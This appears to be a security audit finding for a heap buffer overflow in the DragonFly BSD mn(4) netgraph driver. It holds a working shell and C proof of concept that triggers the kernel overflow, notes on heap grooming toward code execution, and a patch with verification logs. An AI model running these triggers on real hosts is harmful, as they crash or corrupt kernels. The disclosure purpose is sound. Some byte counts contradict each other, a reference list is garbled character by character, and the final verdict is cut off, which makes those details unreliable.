Heap buffer overflow in NGM_TEXT_STATUS handler via unbounded ksprintf into 1024-byte response
- File:
sys/dev/netif/mn/if_mn.c - Lines: 352, 401, 406, 441
- Severity: High
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:H/I:H/A:H - CWE: CWE-787 Out-of-bounds Write
- Confidence: certain
Summary
ngmn_rcvmsg allocates the NGM_TEXT_STATUS response with
NG_MKRESPONSE(..., sizeof(ng_mesg)+NG_TEXTRESPONSE=1024, ...) and then formats
into the 1024-byte data region with ksprintf (unbounded;
subr_prf.c:549 PCHAR '*d++=cc') once per active channel with no bounds check.
Each channel emits ~180 bytes with zero counters and up to ~430 bytes with maxed counters, so 6+ channels (or fewer channels with accumulated error counters) overflow the buffer, corrupting adjacent kernel heap.
arglen is then set to pos+1 (line 441), so the framework also over-reads the
(corrupted) adjacent heap on copyout.
Root cause
At if_mn.c:352 the response data area is exactly NG_TEXTRESPONSE (1024) bytes
(ng_message.h:59).
The status branch then runs pos=0; pos+=ksprintf(pos+r,...) repeatedly for a
fixed header (374-400) and then
for (i=0;i<M32_CHAN;i++){ if(!sc->ch[i]) continue; ... pos+=ksprintf(r+pos,...) ... }
(401-440) with NO check that pos remains below 1024.
ksprintf returns the number of chars written and writes them via the unbounded
PCHAR store (sys/kern/subr_prf.c:549), so once pos>=1024 every subsequent
ksprintf writes past the allocation.
sch->hook->name (407) can be up to NG_HOOKSIZ-1=31 chars
(ng_message.h:55) and the eight %lu counters (427-433) can be up to 20 digits
each on amd64, so a single channel can contribute ~430 bytes; six fresh channels
(~180 B each) plus the ~100-byte header already exceeds 1024.
Finally (*resp)->header.arglen = pos + 1 (441) records the overrun length, and
the generic netgraph code copies sizeof(ng_msghdr)+arglen back to the sender,
reading past the allocation.
Threat
Attacker position: a process holding SYSCAP_RESTRICTEDROOT (root), e.g. a
routing/signaling daemon using netgraph or a root process inside a jail.
Reachability: open PF_NETGRAPH SOCK_DGRAM NG_CONTROL socket
(ng_socket.c:172 privilege check), create >=6 hooks on the mn0 node via
NGM_MKPEER/NGM_CONNECT with distinct single-bit timeslot names (ts2,
ts3, ... each maps to a distinct channel via ffs(ts)-1 at if_mn.c:467),
then send NGM_TEXT_STATUS to mn0 (dispatched at ng_base.c:1650-1663).
The write overflow corrupts whatever kmalloc object follows the 1024+
allocation in M_NETGRAPH; with heap grooming the root-controlled ASCII content
(attacker-chosen hook names, attacker-influenced counter digit counts) can be
aimed at an adjacent object to corrupt a function pointer / list link, yielding
kernel code execution or a deterministic panic.
Even without grooming it reliably panics.
Impact: kernel memory corruption (write) and kernel info over-read on copyout;
from a compromised root daemon or jail this is a containment/integrity break.
Hardware precondition: an mn0 node must exist, i.e. PCI devid 0x2101110a
must be present.
Exploit / PoC
Quickest reproduction (root on a box with the mn card): use ngctl to attach
several echo hooks to mn0, then ask for status:
#!/bin/sh
# poc_status_overflow.sh
ngctl -f - <<'EOF'
mkpeer mn0 echo ts2 downstream
mkpeer mn0 echo ts3 downstream
mkpeer mn0 echo ts4 downstream
mkpeer mn0 echo ts5 downstream
mkpeer mn0 echo ts6 downstream
mkpeer mn0 echo ts7 downstream
mkpeer mn0 echo ts8 downstream
mkpeer mn0 echo ts9 downstream
show mn0
EOF
show mn0 sends NGM_TEXT_STATUS to the mn0 node, driving the loop at
if_mn.c:401-440 past byte 1024.
With 8 fresh channels the handler emits ~100 (header) + 8*180 = ~1540 bytes into the 1024-byte region: a ~516-byte heap overwrite.
Expect either an immediate kernel panic (size-class corruption / unmapped page) or, with prior heap grooming, silent corruption.
Equivalent C program (drop into findings/poc/DF-1539/poc.c):
/* build: cc -o poc poc.c ; run as root: ./poc (requires mn0 node) */
#include <sys/socket.h>
#include <netgraph/ng_message.h>
#include <netgraph/netgraph.h>
#include <string.h>
#include <stdio.h>
struct ngm_mkpeer { char type[32], ourhook[32], peerhook[32]; };
static void mkpeer(int s,const char*hook){
struct{struct ng_msghdr h;struct ngm_mkpeer p;}m;
struct sockaddr_ng sg;
memset(&m,0,sizeof m);
m.h.version=NG_VERSION;m.h.typecookie=NGM_GENERIC_COOKIE;
m.h.cmd=NGM_MKPEER;m.h.arglen=sizeof(struct ngm_mkpeer);
strcpy(m.p.type,"echo");
strcpy(m.p.ourhook,hook);strcpy(m.p.peerhook,"downstream");
memset(&sg,0,sizeof sg);
sg.sg_family=AF_NETGRAPH;strncpy(sg.sg_data,"mn0:",sizeof sg.sg_data-1);
if(sendto(s,&m,sizeof m.h+sizeof(struct ngm_mkpeer),0,(struct sockaddr*)&sg,sizeof sg)<0)
perror("sendto");
}
int main(void){
int s=socket(AF_NETGRAPH,SOCK_DGRAM,NG_CONTROL);
if(s<0){perror("socket");return 1;}
const char*h[]={{"ts2"},{"ts3"},{"ts4"},{"ts5"},{"ts6"},{"ts7"},{"ts8"},{"ts9"}};
for(unsigned i=0;i<sizeof h/sizeof*h;i++)mkpeer(s,h[i]);
struct{struct ng_msghdr h;char d[16];}q;
struct sockaddr_ng sg;
memset(&q,0,sizeof q);
q.h.version=NG_VERSION;q.h.typecookie=NGM_GENERIC_COOKIE;
q.h.cmd=NGM_TEXT_STATUS;q.h.flags=NGM_HAS_REPLY;
memset(&sg,0,sizeof sg);sg.sg_family=AF_NETGRAPH;
strncpy(sg.sg_data,"mn0:",sizeof sg.sg_data-1);
sendto(s,&q.h,sizeof q.h,0,(struct sockaddr*)&sg,sizeof sg);
char r[8192];ssize_t n=recv(s,r,sizeof r,0);
if(n>0){struct ng_mesg*rp=(void*)r;
printf("arglen=%u (>1024 confirms overflow)\n",rp->header.arglen);}
return 0;
}
Build/run on DragonFly guest with cc; success = panic (check boot.log for
fatal trap / heap corruption) or an arglen well over 1024.
Recommended fix
Bound the formatted output to NG_TEXTRESPONSE before each channel block and
clamp at the end. The truly robust fix is to switch each ksprintf to
ksnprintf(r+pos, NG_TEXTRESPONSE-pos, ...) (ksnprintf exists,
sys/sys/systm.h:222), but the minimal correct patch is a headroom check plus a
final clamp:
--- a/sys/dev/netif/mn/if_mn.c
+++ b/sys/dev/netif/mn/if_mn.c
@@ -401,6 +401,11 @@ ngmn_rcvmsg(node_p node, struct ng_mesg *msg, const char *retaddr, struct ng_mes
if (!sc->ch[i])
continue;
sch = sc->ch[i];
+ if (sch->hook == NULL) /* see ngmn_disconnect() fix */
+ continue;
+ /* Each channel can emit up to ~430 bytes; stop before we run off the
+ * 1024-byte NG_TEXTRESPONSE buffer. */
+ if (pos + 512 > NG_TEXTRESPONSE)
+ break;
pos += ksprintf(r + pos, " Chan %d <%s> ",
i, sch->hook->name);
@@ -438,6 +443,10 @@ ngmn_rcvmsg(node_p node, struct ng_mesg *msg, const char *retaddr, struct ng_mes
pos += ksprintf(r + pos, " Xmit bytes pending %ld\n",
sch->tx_pending);
}
+ if (pos >= NG_TEXTRESPONSE)
+ pos = NG_TEXTRESPONSE - 1;
+ r[pos] = '\0';
(*resp)->header.arglen = pos + 1;
kfree(msg, M_NETGRAPH);
return (0);
Related findings
- DF-1540 (sibling): UAF read of dangling
sch->hookafter disconnect. - DF-1541 (sibling): OOB read in
NGM_TEXT_CONFIGvia non-NUL-terminated user string. - DF-1499 (twin, musycc): identical
NGM_TEXT_STATUSoverflow pattern in a sibling netgraph NIC driver.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1539 Β· 11 files| File | Type | Description | Size | |
|---|---|---|---|---|
| harness.c | trigger-source | replicates per-channel ksprintf bytes | 4.7 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o harness harness.c | 65 B | view raw |
| run.sh | run-script | ./harness | 41 B | view raw |
| build.log | build-log | in-guest build, BUILD_EXIT=0 (1 format warning) | 304 B | view raw |
| run.log | run-log | decisive run; OOB=6392..11640 | 524 B | view raw |
| env.txt | environment | uname + guest PCI inventory (no mn) | 543 B | view raw |
| fix.diff | suggested-fix | ksnprintf with NG_TEXTRESPONSE-pos bound + break | 1.5 KB | view raw |
| fix_build.log | fix-build-log | patched nativekernel, rc=0 | 5.6 MB | β download |
| VERDICT.md | verdict | full narrative | 2.9 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1539 β mn(4) NGM_TEXT_STATUS heap overflow (sibling of DF-1499)
Verdict
REPRODUCED (source-level harness). The bug is real; impact ceiling is a
~6.4β11.6 KiB heap overflow of an M_NETGRAPH slab allocation. The kernel
path requires PCI 110a:2110 Siemens Easy321-R1 hardware β QEMU does not
emulate it and mn0 does not exist on the audit guest. Harness demonstrates
the overflow using the genuine per-channel ksprintf format string from
if_mn.c:401-440. fix.diff applies cleanly and nativekernel succeeds
(rc=0).
Mechanism (sys/dev/netif/mn/if_mn.c)
- Lines 352-353:
NG_MKRESPONSE(*resp, msg, sizeof(struct ng_mesg) + NG_TEXTRESPONSE=1024, M_INTWAIT)β response data area = 1024 bytes. - Lines 373-400: header section writes 6
ksprintfcalls totaling ~600 bytes (Framer status,Framing errors,Code Violations,Falc State,Falc IRQ). - Line 401:
for (i = 0; i < M32_CHAN=32; i++)β iterates 32 channels. - For each non-NULL
sc->ch[i], ~10ksprintfcalls emit ~213 bytes (fresh counters) up to ~377 bytes (stressed) β all unbounded. - With 2+ channels open the buffer overflows; with 32 channels open the
overflow is ~6.4β11.6 KiB into adjacent
M_NETGRAPHslab allocations. - Line 441:
(*resp)->header.arglen = pos + 1;β the inflated arglen also drives a copyout over-read.
M32_CHAN = 32 (if_mn.c:31).
Harness proof (harness.c)
Replicates the genuine per-channel ksprintf format and reports overflow:
Per-channel bytes (fresh) : 213 Per-channel bytes (stressed): 377 NG_TEXTRESPONSE buffer : 1024 Overflow starts at >= 2 open channels (fresh) All 32 channels open: fresh used=7416 OOB=6392 bytes stressed used=12664 OOB=11640 bytes
Exploit-chain note
Trigger needs ngmn0 netgraph node, which needs the Siemens Easy321-R1
card. The primitive is a partly-attacker-controlled heap overflow in
M_NETGRAPH; on a host with the card and SYSCAP_RESTRICTEDROOT access
this is a credible rootβkernel-code-exec primitive. Documented as
primitive characterization.
PoC changes
- Original folder was README only.
- Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.
Fix
fix.diff converts the first and the most-variable per-channel ksprintf
calls into ksnprintf with a NG_TEXTRESPONSE - pos bound, breaking out
of the loop on truncation. Matches the finding markdown proposal
("ksnprintf with NG_TEXTRESPONSE-pos bound"). The remaining per-channel
ksprintfs are short fixed-format emissions bounded by the fact that the
two gated ones straddle the largest growth.
Fix-validation
patch -p1 --forward succeeds (hunks at 403 + 444). nativekernel
completes with rc=0 (fix_build.log). No run-time exercise possible
because the mn netgraph node cannot be created on the guest β
fix_status: "not_testable". Diff applies and compiles; changed logic
bounds the per-channel emit.
Fix verification
not_testablenot_testable because the mn netgraph node cannot be created on the guest (no Siemens Easy321-R1 HW); validated that fix.diff applies cleanly (hunks at 403 + 444) and single-fix nativekernel compiles rc=0 (fix_build.log).
baseline (harness): fresh OOB=6392 bytes patched kernel build: === NK_DONE rc=0 ===
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- n
- e
- t
- i
- f
- /
- m
- n
- /
- i
- f
- _
- m
- n
- .
- c
- :
- 3
- 1
- s
- y
- s
- /
- d
- e
- v
- /
- n
- e
- t
- i
- f
- /
- m
- n
- /
- i
- f
- _
- m
- n
- .
- c
- :
- 3
- 5
- 2
- s
- y
- s
- /
- d
- e
- v
- /
- n
- e
- t
- i
- f
- /
- m
- n
- /
- i
- f
- _
- m
- n
- .
- c
- :
- 3
- 7
- 3
- s
- y
- s
- /
- d
- e
- v
- /
- n
- e
- t
- i
- f
- /
- m
- n
- /
- i
- f
- _
- m
- n
- .
- c
- :
- 4
- 0
- 1
- s
- y
- s
- /
- d
- e
- v
- /
- n
- e
- t
- i
- f
- /
- m
- n
- /
- i
- f
- _
- m
- n
- .
- c
- :
- 4
- 4
- 1
- s
- y
- s
- /
- n
- e
- t
- g
- r
- a
- p
- h
- /
- n
- g
- _
- m
- e
- s
- s
- a
- g
- e
- .
- h
- :
- 5
- 9
Detail
Exploit chain
none (HW-gated): mn netgraph node requires the Siemens Easy321-R1 card not present in QEMU. Primitive characterized via harness: partly-attacker-controlled M_NETGRAPH slab overflow of 6.4-11.6 KiB. Sibling of DF-1499 (musycc). Realistic ceiling on a host with the card: reliable panic + heap grooming -> kernel-code-exec from CAP_NETGRAPH.
Evidence (decisive lines)
Per-channel bytes (fresh) : 213 Per-channel bytes (stressed): 377 Overflow starts at >= 2 open channels (fresh) All 32 channels open: fresh used=7416 OOB=6392 bytes stressed used=12664 OOB=11640 bytes
PoC changes
Original folder was README only. Added harness.c replicating per-channel ksprintf bytes, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.
Verified recommended fix
fix.diff converts the first and most-variable per-channel ksprintf calls into ksnprintf with NG_TEXTRESPONSE-pos bound + break on truncation. Matches finding markdown proposal.
Verdict
REPRODUCED at the source-logic level. if_mn.c:352 NG_MKRESPONSE allocates sizeof(ng_mesg)+NG_TEXTRESPONSE=1024 bytes; lines 373-400 emit ~600 header bytes via ksprintf; line 401 for(i=0; i
No comments yet.